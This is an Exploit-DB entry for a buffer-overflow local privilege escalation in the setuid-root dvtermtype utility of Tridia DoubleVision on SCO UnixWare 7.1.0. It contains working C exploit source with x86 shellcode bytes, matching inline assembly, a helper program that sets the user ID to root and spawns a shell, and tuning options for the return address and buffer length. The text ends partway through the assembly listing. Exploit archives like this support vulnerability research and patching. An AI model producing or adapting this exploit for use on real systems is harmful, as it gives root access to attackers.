Exploit-DB #20230
Description: Tridia DoubleVision 3.0 7.00 - Local Privilege Escalation
Type: local
Platform: sco
Date: 2000-06-24
Author: Stephen J. Friedl

Exploit:
// source: https://www.securityfocus.com/bid/1697/info

A utility integral to Tridia DoubleVision for SCO UnixWare 7.x has been found to be vulnerable to a buffer overflow attack.

dvtermtype, which is setuid root, is run by a user at login time to tell DoubleVision what terminal translations to use. The command line parameters are as follows:

$ dvtermtype termtype devicename

If a malicious user contructs a long termtype string and executes dvtermtype, dvtermtype will stack overflow. This can lead to a root compromise.

Tridia has different release schedules for each UNIX platform is supports. It is unclear what other UNIX builds of DoubleVision are vulnerable. 

/*
 * dvexploit.c
 *
 * written by : Stephen J. Friedl
 *              Software Consultant
 *              2000-06-24
 *              steve@unixwiz.net
 *
 *      This program exploits the "Double Vision" system on SCO
 *      Unixware 7.1.0 via a buffer overflow on the "dvtermtype"
 *      program. Double Vision is like a "pcAnywhere for UNIX",
 *      but quite a few programs in this distribution are setuid
 *      root. The problem is that these programs were not written
 *      with security in mind, and it's not clear that they even
 *      need to be setuid root.
 *
 *      This particular program exploits "dvtermtype" by passing a
 *      very long second parameter that overflows some internal
 *      buffer. This buffer is filled with a predicted address
 *      of the shellcode, and the shellcode itself is stored in
 *      a very long environment variable. This approach makes
 *      the shellcode much easier to find.
 *
 *      This shellcode was based directly on the great work of
 *      Brock Tellier (btellier@usa.net), who seems to spend a lot
 *      of time within with various SCO UNIX release. Thanks!
 *
 *      This shellcode runs /tmp/ui, which should be this simple
 *      program:
 *
 *      $ cd /tmp
 *      $ cat ui.c
 *      int main() { setreuid(0,0); system("/bin/sh"); return 0; }
 *      $ cc ui.c -o ui
 *
 *      Brock's original work compiled this automatically, but I
 *      prefer to do it by hand. A better approach is to do the
 *      setreuid() in the shellcode and call /bin/sh directly.
 *      Maybe another day.
 *
 * BUILD/TEST ENVIRONMENT
 * ----------------------
 *
 *      $ cc -v
 *      UX:cc: INFO: Optimizing C Compilation System  (CCS) 3.2  03/03/99 (CA-unk_voyager5)
 *
 *      $ uname -a
 *      UnixWare foo 5 7.1.0 i386 x86at SCO UNIX_SVR5
 *
 *      from /usr/lib/dv/README
 *
 *              DoubleVision for Character Terminals Release 3.0
 *              Last Update:  December 7, 1999
 *
 * TUNING
 * ------
 *
 *      The default parameters to this program work on the versions mentioned
 *      above, but for variants some tuning might be required. There are three
 *      parameters that guide this program's operation:
 *
 *      -a retaddr      set the "return" address to the given hex value,
 *                      which is the address where we expect to find the
 *                      exploit code in the environment. The environment
 *                      is at a relatively fixed location just below
 *                      0x80000000, so getting "close" is usually sufficient.
 *                      Note that this address cannot have any zero bytes
 *                      in it! We believe that the target code has enough
 *                      padding NOP values to make it an easy target.
 *
 *      -r retlen       length of the overflowed "return address" buffer,
 *                      which is filled in with the address provided above.
 *                      Default = 2k, max = 5k.
 *
 *      -l n            slightly shift the alignment of the return address
 *                      buffer by 1, 2 or 3 in case the buffer that's being
 *                      overflowed.
 */

#include <stdlib.h>
#include <stdio.h>

/*-----------------------------------------------------------------------
 * shellcode for SCO UnixWare
 *
 *      The shellcode in the binary was derived from assembler code
 *      below, and we put the asm() code inside the function so we
 *      can disassemble it and get the binary bytes easier. The code
 *      all should match, but the real original data is the full
 *      asm() code.
 */
#if 1

static const char scoshell[] =
        "\xeb\x19\x5e\x33\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11"
        "\x33\xc0\xb0\x3b\x8d\x7e\x07\x53\x57\x56\x56\xeb\x10\xe8"
        "\xe2\xff\xff\xff"
        "/tmp/ui"
        "\xaa\xaa\xaa\xaa"
        "\x9a\xaa\xaa\xaa\xaa\x07\xaa";

#else

extern char     scoshell[];

static void foo()
{

asm("#-------------------------------------------");
asm("scoshell:");
asm("           jmp     L1b");                  /* go to springboard    */
asm("   L2b:    popl    %esi");                 /* addr of /tmp/ui      */
asm("           xorl    %ebx,%ebx");            /* %ebx <-- 0           */
asm("           movl    %ebx,  7(%esi)");       /* mark end of string   */
asm("           movl    %ebx, 12(%esi)");       /* 0 to lcall addr      */
asm("           movb    %bl,  17(%esi)");       /* 0 to lcall sub addr  */
asm("           xorl    %eax,%eax");            /* %eax <-- 0           */
asm("           movb    $0x3b, %al");           /* 0x3b = "execve"      */
asm("           leal    7(%esi), %edi");        /* addr of NULL word    */
asm("           pushl   %ebx");                 /* zero                 */
asm("           pushl   %edi");                 /* addr of NULL word    */
asm("           pushl   %esi");                 /* addr of "/tmp/ui"    */
asm("           pushl   %esi");                 /* addr of "/tmp/ui"    */
asm("           jmp     L3b");                  /* do OS call           */
asm("   L1b:    call    L2b");
asm("           .ascii  \"/tmp/ui\"");          /* %esi